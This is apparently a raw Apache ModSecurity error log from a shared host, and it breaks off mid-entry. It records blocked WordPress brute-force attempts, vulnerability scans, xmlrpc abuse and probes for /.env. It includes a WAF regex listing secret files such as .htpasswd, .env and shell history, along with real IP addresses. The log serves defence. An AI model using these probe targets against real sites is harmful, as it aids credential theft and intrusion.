https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ1 [Sat Jun 13 18:25:13.455702 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ1 [Sat Jun 13 18:25:13.459283 2026] [security2:error] [pid 646876:tid 646952] [remote 17.241.75.45:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 45.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai306dyTkdrNlD40tSHeogAAAEk"] [Sat Jun 13 18:25:13.570758 2026] [security2:error] [pid 715691:tid 715936] [client 159.223.112.69:35390] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306bV-dFiaX9AtWiQ0TAAAAWk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:13.725788 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.63:31216] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:13.726240 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.63:31216] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:13.780079 2026] [security2:error] [pid 646876:tid 647129] [client 159.223.112.69:35398] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306dyTkdrNlD40tSHeqwAAAHk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:13.973958 2026] [security2:error] [pid 646876:tid 647057] [client 159.223.112.69:35402] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306dyTkdrNlD40tSHesgAAADE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:14.014461 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL2lk [Sat Jun 13 18:25:14.014942 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL2lk [Sat Jun 13 18:25:14.167876 2026] [security2:error] [pid 715691:tid 715865] [client 159.223.112.69:35412] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306rV-dFiaX9AtWiQ0aQAAASI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:14.214719 2026] [security2:error] [pid 715691:tid 715750] [remote 17.22.237.24:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 24.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai306rV-dFiaX9AtWiQ0bAABZSg"] [Sat Jun 13 18:25:14.218320 2026] [access_compat:error] [pid 715691:tid 715711] [remote 57.141.14.5:20673] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:14.218772 2026] [access_compat:error] [pid 715691:tid 715711] [remote 57.141.14.5:20673] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:14.360505 2026] [security2:error] [pid 646876:tid 647058] [client 159.223.112.69:35424] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306tyTkdrNlD40tSHevgAAADI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:14.370790 2026] [access_compat:error] [pid 715691:tid 715742] [remote 57.141.14.107:25213] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:14.371226 2026] [access_compat:error] [pid 715691:tid 715742] [remote 57.141.14.107:25213] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:14.392714 2026] [access_compat:error] [pid 715691:tid 715920] [client 185.199.157.20:58227] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-content/themes/index.php, referer: http://krosscorp.us/wp-content/themes/ [Sat Jun 13 18:25:14.393482 2026] [access_compat:error] [pid 715691:tid 715920] [client 185.199.157.20:58227] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-content/themes/index.phtml, referer: http://krosscorp.us/wp-content/themes/ [Sat Jun 13 18:25:14.396032 2026] [access_compat:error] [pid 715691:tid 715920] [client 185.199.157.20:58227] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-content/themes/index.php5, referer: http://krosscorp.us/wp-content/themes/ [Sat Jun 13 18:25:14.512313 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:25:14.512770 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:25:14.553710 2026] [security2:error] [pid 715691:tid 715866] [client 159.223.112.69:35436] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306rV-dFiaX9AtWiQ0fAAAASM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:14.634154 2026] [security2:error] [pid 646876:tid 646932] [remote 17.241.227.111:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 111.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai306tyTkdrNlD40tSHewQAAJzU"] [Sat Jun 13 18:25:14.726863 2026] [security2:error] [pid 715691:tid 715821] [remote 156.67.82.86:48020] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.82.67.156.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "dentiststudygroup.com"] [uri "/wp-login.php"] [unique_id "ai306rV-dFiaX9AtWiQ0hAABQG4"], referer: https://dentiststudygroup.com/wp-login.php [Sat Jun 13 18:25:14.749001 2026] [security2:error] [pid 715691:tid 715928] [client 159.223.112.69:35452] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306rV-dFiaX9AtWiQ0hQAAAWE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:14.944120 2026] [security2:error] [pid 646876:tid 647072] [client 159.223.112.69:35456] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306tyTkdrNlD40tSHexwAAAEA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:15.069422 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:25:15.069875 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:25:15.131475 2026] [access_compat:error] [pid 646876:tid 646897] [remote 57.141.14.112:57438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:15.131932 2026] [access_compat:error] [pid 646876:tid 646897] [remote 57.141.14.112:57438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:15.137558 2026] [security2:error] [pid 646876:tid 647091] [client 159.223.112.69:35460] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3069yTkdrNlD40tSHe1AAAAFM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:15.148497 2026] [security2:error] [pid 646876:tid 647113] [client 34.170.189.242:16444] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "costechacademy.com"] [uri "/.env"] [unique_id "ai3069yTkdrNlD40tSHe1QAAAGk"] [Sat Jun 13 18:25:15.158172 2026] [security2:error] [pid 715691:tid 715900] [client 34.170.189.242:16456] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "costechacademy.nucreativesolutions.com"] [uri "/.env"] [unique_id "ai3067V-dFiaX9AtWiQ0kgAAAUU"] [Sat Jun 13 18:25:15.330559 2026] [security2:error] [pid 646876:tid 647104] [client 159.223.112.69:35468] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3069yTkdrNlD40tSHe2gAAAGA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:15.347395 2026] [access_compat:error] [pid 715691:tid 715795] [remote 216.73.216.182:59569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:15.347723 2026] [access_compat:error] [pid 715691:tid 715795] [remote 216.73.216.182:59569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:15.358227 2026] [security2:error] [pid 646876:tid 647100] [client 185.199.157.17:46575] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 17.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/themes/404.php"] [unique_id "ai3069yTkdrNlD40tSHe2wAAAFw"] [Sat Jun 13 18:25:15.367798 2026] [security2:error] [pid 646876:tid 647033] [client 159.223.112.69:43104] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3069yTkdrNlD40tSHe3AAAABk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:15.523758 2026] [security2:error] [pid 715691:tid 715891] [client 159.223.112.69:43108] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3067V-dFiaX9AtWiQ0oAAAATw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:15.559240 2026] [security2:error] [pid 715691:tid 715927] [client 159.223.112.69:43120] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3067V-dFiaX9AtWiQ0owAAAWA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:15.590366 2026] [security2:error] [pid 715691:tid 715964] [client 159.223.112.69:43122] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3067V-dFiaX9AtWiQ0pAAAAYU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:15.591532 2026] [access_compat:error] [pid 646876:tid 646923] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:25:15.591958 2026] [access_compat:error] [pid 646876:tid 646923] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:25:15.632234 2026] [access_compat:error] [pid 715691:tid 715757] [remote 57.141.14.64:53028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:15.632593 2026] [access_compat:error] [pid 715691:tid 715757] [remote 57.141.14.64:53028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:15.671996 2026] [access_compat:error] [pid 646876:tid 646999] [remote 57.141.14.95:35019] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:15.672414 2026] [access_compat:error] [pid 646876:tid 646999] [remote 57.141.14.95:35019] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:15.737157 2026] [security2:error] [pid 715691:tid 715889] [client 189.217.192.30:50497] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1482"] [id "909121"] [msg "IP address blocked, too many xmlrpc.php failures"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3067V-dFiaX9AtWiQ0qwAAATo"] [Sat Jun 13 18:25:15.737299 2026] [security2:error] [pid 715691:tid 715889] [client 189.217.192.30:50497] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3067V-dFiaX9AtWiQ0qwAAATo"] [Sat Jun 13 18:25:15.751318 2026] [security2:error] [pid 715691:tid 715908] [client 159.223.112.69:43138] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3067V-dFiaX9AtWiQ0rAAAAU0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:15.783556 2026] [access_compat:error] [pid 715691:tid 715831] [remote 57.141.14.89:60592] AH01797: client denied by server configuration: 